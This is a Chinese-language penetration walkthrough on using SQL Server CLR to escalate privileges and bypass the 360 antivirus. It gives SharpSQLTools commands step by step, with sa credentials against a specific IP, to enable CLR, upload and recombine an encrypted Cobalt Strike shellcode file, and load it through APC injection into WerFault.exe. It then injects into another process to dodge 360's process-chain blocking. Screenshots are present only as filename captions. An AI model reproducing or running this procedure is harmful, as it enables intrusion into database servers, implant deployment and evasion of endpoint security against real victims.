mssql提权之使用clr bypass360

0x01 前言

使用SQL Server提权的时候,发现各种组件都被拦截,无法绕过360执行系统命令,查询资料发现使用SQL Server CLR可以加载shellcode,从而绕过360执行系统命令。

0x02 利用工具

SharpSQLTools    https://github.com/uknowsec/SharpSQLTools

0x03 复现过程

1.使用cs生成木马

image-20210821133231895

image-20210821123839859

2.加密shell.bin

python3 Encrypt.py -f shell.bin -k loader

image-20210821133437385

3.启用MSSQL CLR功能

SharpSQLTools.exe 10.108.3.153 sa 123456 master enable_clr

image-20210821124019246

4.使用文件16进制流创建CLR

SharpSQLTools.exe 10.108.3.153 sa 123456 master install_clr

image-20210821133516106

5.上传 payload.txt至可写目录

在执行copy命令合并文件时会被360拦截,但是文件已经被分割上传上去了。

SharpSQLTools.exe 10.108.3.153 sa 123456 master upload payload.txt C:\Users\Public\payload.txt

image-20210821133653357

image-20210821133641771

使用clr_combine去合并文件

SharpSQLTools.exe 10.108.3.153 sa 123456 master clr_combine C:\Users\Public\payload.txt

image-20210821124143196

image-20210821124204143

6.利用clr_scloader1加载进内存

SharpSQLTools中实现的clr_shellcode_loader使用APC注入技术,将shellcode解密后注入了一个新起的werFault.exe的进程中

SharpSQLTools.exe 10.108.3.153 sa 123456 master clr_scloader1 C:\Users\Public\payload.txt loader

image-20210821133743111

cs成功上线

image-20210821133812502

7.进程链bypass

当我们在cs上执行系统命令的操作时会被拦截,360对父进程是sqlservr.exe的进程链拦截得特别厉害。黑名单连:sqlserver.exe–>cmd.exe

image-20210821134832280

360拦截的死死的

image-20210821135408476

image-20210821135328423

注入其他进程来绕过sqlservr.exe的进程链防护。

image-20210821135011039

注入进程

inject ppid arch

image-20210821135058791

再次执行命令,发现已经不拦截了

image-20210821135300385